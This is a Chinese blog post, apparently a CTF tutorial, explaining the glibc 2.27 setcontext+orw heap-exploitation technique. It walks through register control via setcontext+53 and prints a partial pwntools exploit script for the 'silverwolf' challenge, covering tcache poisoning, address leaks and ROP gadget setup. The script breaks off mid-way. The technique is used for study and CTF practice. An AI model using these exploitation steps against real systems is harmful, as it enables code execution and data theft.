setcontext+orw

Python微信订餐小程序课程视频

https://edu.csdn.net/course/detail/36074

Python实战量化交易理财系统

https://edu.csdn.net/course/detail/35475
setcontext+orw 大致可以把2.27,2.29做为两个分界点。

我们先来讨论 2.27 及以下的 setcontext + orw 的写法。

首先 setcontext 是什么?了解过 SROP 的师傅应该知道 pwntools 自带了一款可以控制寄存器值的工具。模板如下:

frame = SigreturnFrame()
frame.rsp = xxx
frame.rdi = xxx
frame.rsi = xxx
frame.rdx = xxx
frame.rip = xxx

它实质上就是依靠 setcontext 来实现的,我们从 IDA 里看看它究竟啥样。

我们可以很清楚地看出它的作用是通过 rdi 寄存器里的地址附近的地址里的值来给设置各个寄存器的值。glibc2.27 我们通常从 setcontext + 53 开始使用,也就是 mov   rsp, [rdi+0A0h] 那一行,在阅读其他师傅的文章后知道是因为上面的 fldenv  byte pte [rcx] 会造成程序执行时直接 crash。从 setcontext + 53 开始我们可以看到我们会给各个寄存器赋值。值得注意的是,mov     rcx, [rdi+0A8h]  和 push  rcx 实质上是在给我们的 rip 进行赋值。而众多寄存器唯一不可控制的是 rax寄存器,因为不仅没给 rax 赋值还在最后有一个 xor  eax,eax 。但这也意味着我们一定可以把 rax 设置成 0 。大部分题目中通过控制 rsp 和 rip 就可以很好地解决堆题不方便直接控制程序的执行流的问题。我们通常是吧 setcontext + 53 写进 __free_hook 或者 __malloc_hook 中,然后建立或者释放一个堆块,此时的 rdi 就会是该堆块的 chunk 头,那如果我们提前布局好堆,就意味着我们可以控制寄存器并劫持程序的执行流。

大体上思路差不多是两种(此处仅讨论 orw),第一种是直接控制程序执行流去执行ROP链,另一种是先用 mprotect 函数开辟一段可读可写可执行的空间再跳到上面去执行 shellcode。个人是比较喜欢直接执行 ROP 链的方法。

拿一个国赛的题 silverwolf 来加深 2.27 setcontext+orw

from pwn import *
context.arch = 'amd64'
context.log\_level = 'debug'

s = process('./silverwolf')
libc = ELF('./glibc-all-in-one/libs/2.27-3ubuntu1.4\_amd64/libc-2.27.so')

def add(size):
 s.sendlineafter(b'Your choice: ', b'1')
 s.sendlineafter(b'Index: ', b'0')
 s.sendlineafter(b'Size: ', str(size))

def edit(content):
 s.sendlineafter(b'Your choice: ', b'2')
 s.sendlineafter(b'Index: ', b'0')
 s.sendlineafter(b'Content: ', content)

def show():
 s.sendlineafter(b'Your choice: ', b'3')
 s.sendlineafter(b'Index: ', b'0')

def delete():
 s.sendlineafter(b'Your choice: ', b'4')
 s.sendlineafter(b'Index: ',b'0')

for i in range(7):
 add(0x78)
delete()
edit(b'a'*0x10)
delete()

show()
s.recvuntil(b'Content: ')
heap\_base = u64(s.recv(6).ljust(8,b'\x00')) & 0xfffffffffffff000
success('heap\_base=>' + hex(heap\_base))

add(0x78)
edit(p64(heap\_base + 0x10))
add(0x78)
add(0x78)
edit(b'\x00'*0x23 + b'\x07')
delete()

show()
libc\_base = u64(s.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 96 - 0x10 - libc.sym['\_\_malloc\_hook']
success('libc\_base=>' + hex(libc\_base))

pop\_rdi\_ret = libc\_base + 0x00000000000215bf
pop\_rsi\_r15\_ret = libc\_base + 0x00000000000215bd
pop\_rdx\_ret = libc\_base + 0x0000000000001b96
pop\_rax\_ret = libc\_base + 0x0000000000043ae
  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值